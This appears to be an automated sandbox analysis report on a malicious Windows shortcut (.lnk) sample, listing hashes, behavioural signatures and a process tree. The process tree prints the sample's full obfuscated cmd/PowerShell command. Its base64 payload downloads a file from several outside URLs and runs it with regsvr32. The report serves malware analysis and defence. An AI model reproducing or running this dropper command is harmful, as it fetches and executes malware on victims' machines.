Analysis
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max time kernel
134s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2024 11:03
Static task
static1
Behavioral task
behavioral1
Sample
b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk
Resource
win10v2004-20241007-en
General
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Target
b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk
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Size
2KB
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MD5
fbddf679b584e0f043673397d8642215
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SHA1
d1e2a9b2591560b075626140a51f3abbdce61a74
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SHA256
b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55
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SHA512
7159c50d5532c69b526043ebacb1ccc8690823b67e45422263b9a2dd736ddb50020e136b3d8bf6f1ac95f92901f62de81f778da8fb1120c6c76b594e045d5ff2
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 7 2304 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation cmd.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid Process 2628 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 2304 powershell.exe 2304 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 2304 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid Process procid_target PID 3520 wrote to memory of 2628 3520 cmd.exe 86 PID 3520 wrote to memory of 2628 3520 cmd.exe 86 PID 2628 wrote to memory of 2304 2628 cmd.exe 87 PID 2628 wrote to memory of 2304 2628 cmd.exe 87 PID 2304 wrote to memory of 3536 2304 powershell.exe 91 PID 2304 wrote to memory of 3536 2304 powershell.exe 91
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c FNBmwxR6QxBkrgJ+BX6Miv/JjezYHuOEw18Vc+d4q4lm2Szx6nmR8zgeg19If6ewK09230Kh||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2304 -
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\IhUyM\AMzbftixnH.WNT4⤵PID:3536
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
14KB
MD51a187c7f21df4cc93d7218be2a96dcdc
SHA1992198b6c3183a8481f91849772daaaaa5867895
SHA256502cab3f03b5aacb7c1caf53e2ad21140c41d4c5d781e0238525f831035c96d7
SHA51255f2bdd3319354d445cc19d171c92a3cd3f69c5d1d1bbd12dd5080bdc85e1bcef36876af86c5581dfb0004d54ecded2105b48d4e6d5a0806e05ebb4e0cb5b023
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82